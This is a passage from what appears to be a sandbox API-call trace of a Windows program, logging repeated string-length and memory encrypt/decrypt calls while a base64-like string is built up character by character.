Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d") returned 0x10 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d") returned 0x10 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d") returned 0x10 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d") returned 0x18 [0134.681] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="i+sYS3sTcU7z7JJlh樶㮜ꏠꡀ綛") returned 0x18 [0134.681] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\xc179\xa4c5\xb0bc\xd5fd\x17e7\xc9cd\x19d0\xbaf5") returned 0x18 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\xc179\xa4c5\xb0bc\xd5fd\x17e7\xc9cd\x19d0\xbaf5") returned 0x18 [0134.681] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/㮜ꏠꡀ綛") returned 0x18 [0134.681] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\xa63\x4c3f\xb52d\x36b5\x61cc\xe42c\xdef9\x3571") returned 0x18 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\xa63\x4c3f\xb52d\x36b5\x61cc\xe42c\xdef9\x3571") returned 0x18 [0134.681] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xꏠꡀ綛") returned 0x18 [0134.681] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\xaab2\x14a5\x4bf7\x839d\x928e\x48b8\x3d6e\xa2fd") returned 0x18 [0134.681] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\xaab2\x14a5\x4bf7\x839d\x928e\x48b8\x3d6e\xa2fd") returned 0x18 [0134.681] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.681] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcꡀ綛") returned 0x18 [0134.681] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x16c2\x52e2\x8b35\x2b60\xbaf\x479f\x4ec1\x985d") returned 0x18 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x16c2\x52e2\x8b35\x2b60\xbaf\x479f\x4ec1\x985d") returned 0x18 [0134.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcF綛") returned 0x18 [0134.682] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x90a9\x75e8\x630d\xe762\xb491\x6bfa\x960d\x8941") returned 0x18 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x90a9\x75e8\x630d\xe762\xb491\x6bfa\x960d\x8941") returned 0x18 [0134.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY綛") returned 0x18 [0134.682] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x9901\xd279\x164e\x51f4\x62a8\xddf2\xf987\xf783") returned 0x18 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x9901\xd279\x164e\x51f4\x62a8\xddf2\xf987\xf783") returned 0x18 [0134.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6") returned 0x18 [0134.682] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x415\xca76\xbe38\x9341\xcc44\x9116\xb79b\x4a77") returned 0x18 [0134.682] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x415\xca76\xbe38\x9341\xcc44\x9116\xb79b\x4a77") returned 0x18 [0134.682] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.683] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6w") returned 0x18 [0134.683] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55") returned 0x18 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55") returned 0x18 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55") returned 0x18 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55") returned 0x20 [0134.683] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.683] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wq슭꫍ሮꗒ஘䶆") returned 0x20 [0134.683] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x5680\xa29a\xbc61\x4e89\xc8ae\x4a73\x1ab5\xe0e6") returned 0x20 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x5680\xa29a\xbc61\x4e89\xc8ae\x4a73\x1ab5\xe0e6") returned 0x20 [0134.683] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.683] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp슭꫍ሮꗒ஘䶆") returned 0x20 [0134.683] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\xa2b6\x6826\xe524\x3c1b\x7a07\x2332\x4b84\xc475") returned 0x20 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\xa2b6\x6826\xe524\x3c1b\x7a07\x2332\x4b84\xc475") returned 0x20 [0134.683] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.683] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9꫍ሮꗒ஘䶆") returned 0x20 [0134.683] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x5c9b\x1924\x5860\xbfb2\x9c8\xb738\xb873\xc60c") returned 0x20 [0134.683] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x5c9b\x1924\x5860\xbfb2\x9c8\xb738\xb873\xc60c") returned 0x20 [0134.683] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9Jሮꗒ஘䶆") returned 0x20 [0134.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x159a\x53b1\xf3d3\x8c2d\x42e8\x9f68\x2220\x12aa") returned 0x20 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x159a\x53b1\xf3d3\x8c2d\x42e8\x9f68\x2220\x12aa") returned 0x20 [0134.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9Jvꗒ஘䶆") returned 0x20 [0134.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x845\x96b1\xdb0a\xbaa\xc2a7\x5a89\xb31c\x488a") returned 0x20 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x845\x96b1\xdb0a\xbaa\xc2a7\x5a89\xb31c\x488a") returned 0x20 [0134.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9Jvx஘䶆") returned 0x20 [0134.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x513b\x6e91\x7dd8\xa46\x2a7d\xa8da\x1678\x1676") returned 0x20 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x513b\x6e91\x7dd8\xa46\x2a7d\xa8da\x1678\x1676") returned 0x20 [0134.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9Jvxb䶆") returned 0x20 [0134.684] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\xbce7\xa37\x1ee9\x2008\x62c1\x6937\x5e77\x2c49") returned 0x20 [0134.684] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\xbce7\xa37\x1ee9\x2008\x62c1\x6937\x5e77\x2c49") returned 0x20 [0134.684] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.684] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbY") returned 0x20 [0134.685] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938") returned 0x20 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938") returned 0x20 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938") returned 0x20 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x6d\x4a\x6a\x6a\x6a\x2d\x2e\x77") returned 0x28 [0134.685] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.685] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYa閄䑿耝ፂ네踛") returned 0x28 [0134.685] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xf1ac\xe68a\x5a00\xfa28\x7807\xd4e4\x640a\xbb5f") returned 0x28 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xf1ac\xe68a\x5a00\xfa28\x7807\xd4e4\x640a\xbb5f") returned 0x28 [0134.685] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.685] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE䑿耝ፂ네踛") returned 0x28 [0134.685] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xcd57\x147d\x788e\x53f2\x52d0\x97d8\x4d93\x97ec") returned 0x28 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xcd57\x147d\x788e\x53f2\x52d0\x97d8\x4d93\x97ec") returned 0x28 [0134.685] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.685] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE1耝ፂ네踛") returned 0x28 [0134.685] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x5977\xbf70\x2583\xbfec\x5686\x70c8\x3b5e\x6028") returned 0x28 [0134.685] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x5977\xbf70\x2583\xbfec\x5686\x70c8\x3b5e\x6028") returned 0x28 [0134.685] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13ፂ네踛") returned 0x28 [0134.686] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xca71\x3a5d\xc76b\xc721\xa76e\xbd7b\xd038\xcdc1") returned 0x28 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xca71\x3a5d\xc76b\xc721\xa76e\xbd7b\xd038\xcdc1") returned 0x28 [0134.686] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13E네踛") returned 0x28 [0134.686] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x5f8f\xeaf\xa065\x415e\x24c9\xdcda\x929b\x2f7a") returned 0x28 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x5f8f\xeaf\xa065\x415e\x24c9\xdcda\x929b\x2f7a") returned 0x28 [0134.686] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EM踛") returned 0x28 [0134.686] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xd069\x9891\x9fd7\xf672\xe1ac\xd5b9\x45c7\xfbaa") returned 0x28 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xd069\x9891\x9fd7\xf672\xe1ac\xd5b9\x45c7\xfbaa") returned 0x28 [0134.686] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EMI踛") returned 0x28 [0134.686] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xda11\x9b7\x691d\xce64\xdd01\xe799\x19ab\x65dd") returned 0x28 [0134.686] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\xda11\x9b7\x691d\xce64\xdd01\xe799\x19ab\x65dd") returned 0x28 [0134.686] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.686] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EMI5") returned 0x28 [0134.686] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94") returned 0x28 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94") returned 0x28 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94") returned 0x28 [0134.687] SysStringLen 